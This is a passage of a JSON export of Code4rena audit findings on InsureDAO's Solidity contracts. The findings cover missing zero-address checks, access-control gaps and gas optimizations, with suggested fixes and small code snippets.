here](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L502). If this function is not called, the keeper variable will retain the default value of address(0), which bypasses [the only access control for the utilize function](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L344). 2. There is a comment [here on line 69](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L502https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L502) stating the controller state variable can be zero. There is no zero address check for the controller state variable in the Vault constructor. If both address variables are left at their defaults of address(0), then the safeTransfer() call [on line 348](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L348) would send the tokens to address(0). ## Recommended Mitigation Steps Add the following line to the very beginning of the `utilize()` function: `require(address(controller) != address(0))` This check is already found in many other functions in Vault.sol, including the `_unutilize()` function. "}, {"title": "Incorrect return value comment", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/157", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The comment for the return value of the `getCDS()` function in Registry.sol is incorrectly copied from elsewhere, possibly the `confirmExistence()` function. The return value is an address, not a boolean. This is considered low risk based on C4's [risk ratings](https://docs.code4rena.com/roles/wardens/judging-criteria#estimating-risk-tl-dr). ## Proof of Concept The problematic comment is from the `getCDS()` function [here](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Registry.sol#L99). It is an incorrect duplicate of the comment for the `confirmExistence()` function [found here](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Registry.sol#L113). ## Recommended Mitigation Steps Replace the comment with something like `@return CDS contract address`, which is used to describe this value in the `setCDS()` function. "}, {"title": "Inaccurate return value from `getCDS()` possible", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/155", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "Inaccurate return value from `getCDS()` possible"}, {"title": "No slippage control in CDSTemplate.sol = frontrun or sandwich", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/153", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "No slippage control in CDSTemplate.sol = frontrun or sandwich"}, {"title": "Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/145", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Use `calldata` instead of `memory` for function parameters"}, {"title": "Save gas in requestWithdraw()", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/142", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact Users that incorrectly ask for a withdrawal equal to zero, will waste more gas (a storage read) since the check for `amount > 0` is put after the check for the available amount ## Proof of Concept - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L191](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L191) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L199](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L199) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L282](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L282) ## Tools Used Editor ## Recommended Mitigation Steps Move this require at the top of the `requestWithdraw` function: ```jsx require(_amount > 0, \"ERROR: REQUEST_ZERO\"); ``` "}, {"title": "totalAllocPoint in IndexTemplate.sol can be cached", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/140", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact `totalAllocPoint` in `set()` function is read several times from storage. It can be assigned to a local variable so the function is less expensive overall ## Proof of Concept [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L612](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L612) ## Tools Used Editor ## Recommended Mitigation Steps Assign `totalAllocPoint` to `localTotalAllocPoint` (or `cachedTotalAllocPoint`) "}, {"title": "commitTransferOwnership() could save gas 1", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/139", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact When emitting the event, the function argument could be used, instead of reading from storage again ## Proof of Concept [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Ownership.sol#L62](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Ownership.sol#L62) ## Tools Used Editor ## Recommended Mitigation Steps Change to: ```jsx emit CommitNewOwnership(newOwner); ``` "}, {"title": "acceptTransferOwnership() could save gas by using msg.sender", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/138", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-01-insure-findings", "body": "acceptTransferOwnership() could save gas by using msg.sender"}, {"title": "Avoid expensive storage reads in Parameters.sol", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/137", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact Many functions that read params, check whether the value is set for the given `target`, otherwise return the value for the zero-address. When doing this kind of check, the value of the `target` is read twice: - once for checking if it\u2019s set - if it\u2019s set, it\u2019s read once more to read the actual params These functions are used a lot of times inside all the contracts, so having them optimized as much as possible is required in order to save gas ## Proof of Concept - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L240](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L240) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L271](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L271) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L289](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L289) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L313](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L313) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L331](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L331) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L343](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L343) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L379](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L379) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L397](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Parameters.sol#L397) ## Tools Used Editor ## Recommended Mitigation Steps Assign the target value and, if the check returns a value different from the zero-address, use it. For example, `getFeeRate` becomes: ```jsx function getFeeRate(address _target) external view override returns (uint256) { uint256 _targetFee = _fee[_target]; if (_targetFee == 0) { return _fee[address(0)]; } else { return _targetFee; } } ``` "}, {"title": "In PoolTemplate.sol, deposit() and _depositFrom() can re-use the same code", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/133", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact The public `deposit` uses basically the same code of the internal `_depositFrom`. The only difference between them is that the former uses `msg.sender`, while the latter uses a parameter as `from` address. In order to minimize code duplication, `deposit` should be calling `_depositFrom` rather than being reimplemented using copy-paste ## Proof of Concept [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L232](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L232) [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L255](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L255) ## Tools Used Editor ## Recommended Mitigation Steps Write `deposit` like this: ```jsx function deposit(uint256 _amount) public returns (uint256 _mintAmount) { _depositFrom(_amount, msg.sender); } ``` "}, {"title": "Emit an event in setKeeper()", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/132", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact The `setKeeper()` function is operated only by the owner, and should emit an event when the keeper is set for the first time and/or changes ## Proof of Concept [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Vault.sol#L502](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Vault.sol#L502) ## Tools Used Editor ## Recommended Mitigation Steps Add `emit KeeperChanged(address)` after changing the keeper "}, {"title": "No-op in CDSTemplate.sol' withdraw()", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/130", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact The amount of the withdrawal request is not correctly updated after a withdrawal in `CDSTemplate.sol`. This happens because the withdrawal request is read from storage and put in memory, like this: ```jsx Withdrawal memory request = withdrawalReq[msg.sender]; ``` However, the requested amount is not updated properly since the `withdrawalReq` in the storage is never updated. Instead, its in-memory version is updated, but it\u2019s useless because that object is never used again: ```jsx //reduce requested amount request.amount -= _amount; ``` This issue is non critical because there is a function that takes care of updating the withdrawal requests\u2019 amount on every token transfer: [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L358](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L358) The issue lies in the fact that the code seems to behave differently from how it looks at a first glance. Furthermore, the other two templates correctly update the value of the withdrawal request, so the version in `CDSTemplate.sol` should be aligned as well: - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L239](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L239) - [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L327](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L327) ## Proof of Concept [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L230](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L230) ## Tools Used Editor ## Recommended Mitigation Steps Update the `amount` of the current withdrawal request as well "}, {"title": "resume() can be called by anyone in IndexTemplate.sol", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/129", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact The `resume` function can be called by any user, at any time, even when the Index contract is not locked. There should be a check preventing it from being called unless the contract is `locked` ## Proof of Concept [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L459](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L459) ## Tools Used Editor ## Recommended Mitigation Steps Add a require on top: ```jsx require(locked); ``` "}, {"title": "Wrong revert string in withdraw functions", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/128", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact `PoolTemplate.sol` and `IndexTemplate.sol` report this same error when trying to withdraw and some conditions are not met: \"ERROR: WITHDRAWAL_PENDING\u201d However, `PoolTemplate.sol` does that when the `marketStatus` is not `Trading`; `IndexTemplate.sol` when the contract is locked. Since `CDSTemplate.sol`, instead, implement a different revert string, it\u2019s best for understanding what revert strings are related to by making them as explicit and clear as possible. `CDSTemplate.sol` has this in the `withdraw` function: ```jsx require(paused == false, \"ERROR: PAUSED\"); ``` ## Proof of Concept [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L217](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L217) [https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L302](https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L302) ## Tools Used Editor ## Recommended Mitigation Steps Improve revert strings wording "}, {"title": "repayDebt in Vault.sol could DOS functionality for markets", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/126", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "repayDebt in Vault.sol could DOS functionality for markets"}, {"title": "call emit from storage is more expensive", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Fitraldys # Vulnerability details ## Impact in line https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L685 the function emitted a `MarketStatusChanged` event with storage variable which is `marketStatus`. when we emit an event using storage data is more expensive than emitted an event using `MarketStatus.Payingout` value. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L685 ``` contract emitstatust { enum MarketStatus { Trading, Payingout } MarketStatus public marketStatus; event MarketStatusChanged(MarketStatus statusValue); function amit() public { marketStatus = MarketStatus.Payingout; emit MarketStatusChanged(marketStatus); } } //44792 gas ``` can change to : ``` contract emitstatust { enum MarketStatus { Trading, Payingout } MarketStatus public marketStatus; event MarketStatusChanged(MarketStatus statusValue); function amit() public { marketStatus = MarketStatus.Payingout; emit MarketStatusChanged(MarketStatus.Payingout); } } //44659 gas ``` ## Tools Used remix "}, {"title": "save Insurance data directly to storage can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Fitraldys # Vulnerability details ## Impact in line https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L508 instead of save `Insurance` value to memory then save to `insurences` storage it's better to save the `Insurence` value directly to `insurences` storage or mapping to save gas. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L508 ``` contract insur { struct Insurance { uint256 id; //each insuance has their own id uint256 startTime; //timestamp of starttime uint256 endTime; //timestamp of endtime uint256 amount; //insured amount bytes32 target; //target id in bytes32 address insured; //the address holds the right to get insured bool status; //true if insurance is not expired or redeemed } mapping(uint256 => Insurance) public insurances; function coba() public { uint256 _id = 10; uint256 _endTime = 10; uint256 _amount = 12; bytes32 _target = bytes32(uint256(10)); Insurance memory _insurance = Insurance( _id, block.timestamp, _endTime, _amount, _target, msg.sender, true ); insurances[_id] = _insurance; } } //154623 gas ``` change to : ``` contract insur { struct Insurance { uint256 id; //each insuance has their own id uint256 startTime; //timestamp of starttime uint256 endTime; //timestamp of endtime uint256 amount; //insured amount bytes32 target; //target id in bytes32 address insured; //the address holds the right to get insured bool status; //true if insurance is not expired or redeemed } mapping(uint256 => Insurance) public insurances; function coba() public { uint256 _id = 10; uint256 _endTime = 10; uint256 _amount = 12; bytes32 _target = bytes32(uint256(10)); insurances[_id] = Insurance( _id, block.timestamp, _endTime, _amount, _target, msg.sender, true ); } } //154610 gas ``` ## Tools Used remix "}, {"title": "unnecessary double `totalLiquidity()` call in function availableBalance", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Tomio # Vulnerability details ## Impact by saving `totalLiquidity()` to memory can save more gas instead of doing double function call ## Proof of Concept Before: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L829 // gas cost 23862 After: ``` function totalLiquidity() public view returns (uint256){ return 10; } function availableBalance()public view returns (uint256 _balance) { uint256 saveTotalLiquidity = totalLiquidity(); if (saveTotalLiquidity > 0) { return saveTotalLiquidity - lockedAmount; } else { return 0; } } ``` // gas cost 23840 ## Tools Used Remix "}, {"title": "Lack of inputs in Factory", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/120", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Wrong deployment. ## Proof of Concept The factory contract haven't got any check of `_registry` and `_ownership` and both values must be defined or the logic inside the contract will fault. ## Tools Used Manual review. ## Recommended Mitigation Steps It's mandatory to check that the address are not zero or the contract could be wrong deployed. "}, {"title": "Gas saving caching the value", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/118", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept There are multiple methods in `Registry` that check a value inside the storage and if it's not defined, use the default one. It's better to cache the value in order to save gas if it was defined avoiding double reading. For example, instead of the following code: ``` function getCDS(address _address) external view override returns (address) { if (cds[_address] == address(0)) { return cds[address(0)]; } else { return cds[_address]; } } ``` use ``` function getCDS(address _address) external view override returns (address) { address val =cds[_address]; if ( val== address(0)) { return cds[address(0)]; } else { return val; } } ``` ## Tools Used Manual review. ## Recommended Mitigation Steps Cache the value. "}, {"title": "split one require to two require can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/113", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Fitraldys # Vulnerability details ## Impact in line https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L260 have two check inside the require which is `marketStatus == MarketStatus.Trading` and `paused == false` and by spliting this check we can save gas. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L260 ``` function woi() public { require( marketStatus == MarketStatus.Trading && paused == false, \"ERROR: DEPOSIT_DISABLED\" ); } // 23645 gas ``` can be change to ``` function woi() public{ require( marketStatus == MarketStatus.Trading, \"ERROR: DEPOSIT_DISABLED\" ); require( paused == false, \"ERROR: DEPOSIT_DISABLED\" ); } //23637 gas ``` "}, {"title": "avoid using 'else' code can save gas in function pendingPremium", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Tomio # Vulnerability details ## Impact by changing the code from `if (_credit == 0) {` to `if (_credit != 0) {` and remove the else we can save gas when contract is deploy and we can save gas when `_credit` is equal to 0. because if `_credit` equal to 0 the original function will return 0 which a default value for uint256 ## Proof of Concept Before: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L776 // gas 24307 After: ``` function pendingPremium(address _index) external view returns (uint256) { uint256 _credit = indicies[_index].credit; if (_credit != 0) { return _sub( (_credit * rewardPerCredit) / MAGIC_SCALE_1E6, indicies[_index].rewardDebt ); } } ``` // gas 24286 ## Tools Used Remix ## Recommended Mitigation Steps "}, {"title": "Missing validation of address argument could indefinitely lock Registry contract", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/110", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle defsec # Vulnerability details ## Impact the owner parameter are used for the onlyOwner modifier. In the state variable , proper check up should be done , other wise error in these state variable can lead to redeployment of contract. If the zero address is assigned to rebalanceManager parameter, that will fail all Owner functions. ## Proof of Concept 1. Navigate to the following contract functions. \"https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Registry.sol#L31\" 2. Adding zero address into the owner leads to failure of onlyOwner only functions. ## Tools Used Code Review ## Recommended Mitigation Steps Add proper zero address validation. "}, {"title": "in function _sub, less gas used using unchecked", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/108", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Tomio # Vulnerability details ## Impact by using 'unchecked' you can save +-182 gas ## Proof of Concept before: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L938 //22378 before after: ``` function _sub(uint256 a, uint256 b) public pure returns (uint256) { if (a < b) { return 0; } else { unchecked {return a - b;} } } ``` //22196 after ## Tools Used Remix ## Recommended Mitigation Steps used 'unchecked' in function _sub "}, {"title": "Uncontrolled call to controller, which can be the zero address", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/94", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle camden # Vulnerability details ## Impact The `utilize()` function can be called while the controller is the zero address. This will fail. A comment in the constructor says that the controller shouldn't be the zero address. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L350 ## Recommended Mitigation Steps `utilize` should have a check to see if the controller is not the zero address (like `_unutilize`) and give an appropriate error message. "}, {"title": "Gas optimization in Vault.addValueBatch()", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle tqts # Vulnerability details ## Impact None ## Proof of Concept The `for` loop at [L109-113](https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L109-L113) can be unrolled to remove the overhead of the loop itself, and avoid using an initialized-to-zero uint128 variable. ## Tools Used Manual review ## Recommended Mitigation Steps Replace L109-113 with: ``` uint256 _allocation = (_shares[0] * _attributions) / MAGIC_SCALE_1E6; attributions[_beneficiaries[0]] += _allocation; _allocations[0] = _allocation; _allocation = (_shares[1] * _attributions) / MAGIC_SCALE_1E6; attributions[_beneficiaries[1]] += _allocation; _allocations[1] = _allocation; ``` "}, {"title": "Shorten Error Messages to Save Gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle 0xngndev # Vulnerability details ## Impact Error Messages that have a length of 32 or more one require one additional slot to be stored, causing extra gas costs when deploying the contract and when the function is executed and it reverts. ## Proof of Concept I put together a quick proof to show the different impact of the errors we can have in Solidity: - Long require errors => more than 32 bytes - Short require errors => less than 32 bytes - Custom errors Here are the contract size findings: ```rust //SPDX-License-Identifier: unlicensed pragma solidity 0.8.10; contract Errors { bool public thisIsFalse; error WithdrawalExceeded(); /* Contract Size with just this function: 333 bytes; */ function moreThan32Bytes() public { require(thisIsFalse, \"ERROR: WITHDRAWAL_EXCEEDED_REQUEST\"); } /* Contract Size with just this function: 295 bytes; // */ function lessThan32Bytes() public { require(thisIsFalse, \"WITHDRAWAL_EXCEEDED_REQUEST\"); } /* Contract Size with just this function: 242 bytes; */ function customError() public { if (!thisIsFalse) revert WithdrawalExceeded(); } } ``` I then run tests to see the gas costs of having the functions revert, and although these are not very accurate due to the fact that it\u2019s hard to isolate the gas costs of a reverting function due to the order of execution (I can\u2019t have an event that logs the gas before the function revert and another one after because the one after the revert will never be reached), it still shows some differences. ```rust //SPDX-License-Identifier: unlicensed pragma solidity 0.8.10; import \"ds-test/test.sol\"; import \"../Errors.sol\"; contract ErrorsTest is DSTest { Errors errors; function setUp() public { errors = new Errors(); } function testFailLessThan32Bytes() public logs_gas { errors.lessThan32Bytes(); } function testFailMoreThan32Bytes() public logs_gas { errors.moreThan32Bytes(); } function testFailCustomError() public logs_gas { errors.customError(); } } ``` ```rust Running 3 tests for \"ErrorsTest.json\":ErrorsTest [PASS] testFailCustomError() (gas: 3161) [PASS] testFailLessThan32Bytes() (gas: 3314) [PASS] testFailMoreThan32Bytes() (gas: 3401) ``` ## Tools Used DappTools/Foundry ## Recommended Mitigation Steps Personally, I would switch to custom errors and reverts to maximize the savings, but if you dislike revert syntax, then I would suggest to check which of your require errors have a length longer than 32, and shorten them so that their length is less than 32. Here are some examples of the errors you could shorten in your `CDSTemplate.sol` contract: - `ERROR: INITIALIZATION_BAD_CONDITIONS` - `ERROR: WITHDRAWAL_NO_ACTIVE_REQUEST` - `ERROR: WITHDRAWAL_EXCEEDED_REQUEST` Removing the \u201cERROR\u201d keyword should be enough for most of these. Bear in mind you can always have concise error messages and a section in your documentation that explains them further or have your natspec expand on them if you find them too cryptic. An example of how to apply a custom error in the first error would be to just have the error `say BadConditions()`. The user knows it\u2019s an error because the function call failed, and the user knows it has happened in the initialize function because he called it, so `BadConditions()` should be a clear message despite being concise "}, {"title": "Loss of precision and increased gas cost with double assignment on a calculation ", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details In `IndexTemplate.sol:withdrawable()`, the following can be optimized to save gas and avoid a loss of precision, from: ``` uint256 _necessaryAmount = _targetLockedCreditScore * totalAllocPoint / _targetAllocPoint; _necessaryAmount = _necessaryAmount * MAGIC_SCALE_1E6 / targetLev; ``` to ``` uint256 _necessaryAmount = _targetLockedCreditScore * totalAllocPoint * MAGIC_SCALE_1E6 / (_targetAllocPoint * targetLev); ``` "}, {"title": "Gas: Use `else if` to save gas and simplify code", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/83", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost ## Proof of Concept In `IndexTemplate.sol:_adjustAlloc()`, the 3 following conditions are always evaluated: ``` //Withdraw or Deposit credit if (_current > _target && _available != 0) { //if allocated credit is higher than the target, try to decrease uint256 _decrease = _current - _target; IPoolTemplate(_poolList[i].addr).withdrawCredit(_decrease); totalAllocatedCredit -= _decrease; } if (_current < _target) { uint256 _allocate = _target - _current; IPoolTemplate(_poolList[i].addr).allocateCredit(_allocate); totalAllocatedCredit += _allocate; } if (_current == _target) { IPoolTemplate(_poolList[i].addr).allocateCredit(0); } ``` The code can be optimized to save some gas: ``` if (_current == _target) { IPoolTemplate(_poolList[i].addr).allocateCredit(0); } else if (_current < _target) { uint256 _allocate = _target - _current; IPoolTemplate(_poolList[i].addr).allocateCredit(_allocate); totalAllocatedCredit += _allocate; } else if (_current > _target && _available != 0) { //Withdraw or Deposit credit //if allocated credit is higher than the target, try to decrease uint256 _decrease = _current - _target; IPoolTemplate(_poolList[i].addr).withdrawCredit(_decrease); totalAllocatedCredit -= _decrease; } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Apply the refacto "}, {"title": "Gas: Short-circuiting in an if-statement", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact > The operators \u201c||\u201d and \u201c&&\u201d apply the common short-circuiting rules. This means that in the expression \u201cf(x) || g(y)\u201d, if \u201cf(x)\u201d evaluates to true, \u201cg(y)\u201d will not be evaluated even if it may have side-effects. Source: https://docs.soliditylang.org/en/v0.5.4/types.html#booleans ## Proof of Concept In `IndexTemplate.sol:withdrawable()`, there's an if-statement as such: ``` 293: if (i == 0 || _availableRate < _lowestAvailableRate) { ``` Here, the condition `i == 0` is always evaluated and is always equal to `false` when `i > 0`, meaning here a total of `poolList.length - 1` evaluations are always evaluated to `false`. It's best to reorder the conditions such as this condition doesn't get evaluated if `_availableRate < _lowestAvailableRate` is satisfied: ``` 293: if (_availableRate < _lowestAvailableRate || i == 0 ) { ``` ## Tools Used VS Code ## Recommended Mitigation Steps Apply the refacto "}, {"title": "Gas: Redundant if-statement with the for-loop condition", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost ## Proof of Concept In `Factory.sol`, the following `> 0` checks are redundant with the for-loop condition, because if `_references.length == 0` or `_conditions.length == 0`, the condition `uint256 i = 0; i <(_conditions)|(_references).length` will never be satisfied and the for-loop won't iterate: ``` 175: if (_references.length > 0) { 176: for (uint256 i = 0; i < _references.length; i++) { 177: require( 178: reflist[address(_template)][i][_references[i]] == true || 179: reflist[address(_template)][i][address(0)] == true, 180: \"ERROR: UNAUTHORIZED_REFERENCE\" 181: ); 182: } 183: } 184: 185: if (_conditions.length > 0) { 186: for (uint256 i = 0; i < _conditions.length; i++) { 187: if (conditionlist[address(_template)][i] > 0) { 188: _conditions[i] = conditionlist[address(_template)][i]; 189: } 190: } 191: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Remove these 2 if-statements "}, {"title": "Gas: Avoid double assignment on variable", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": 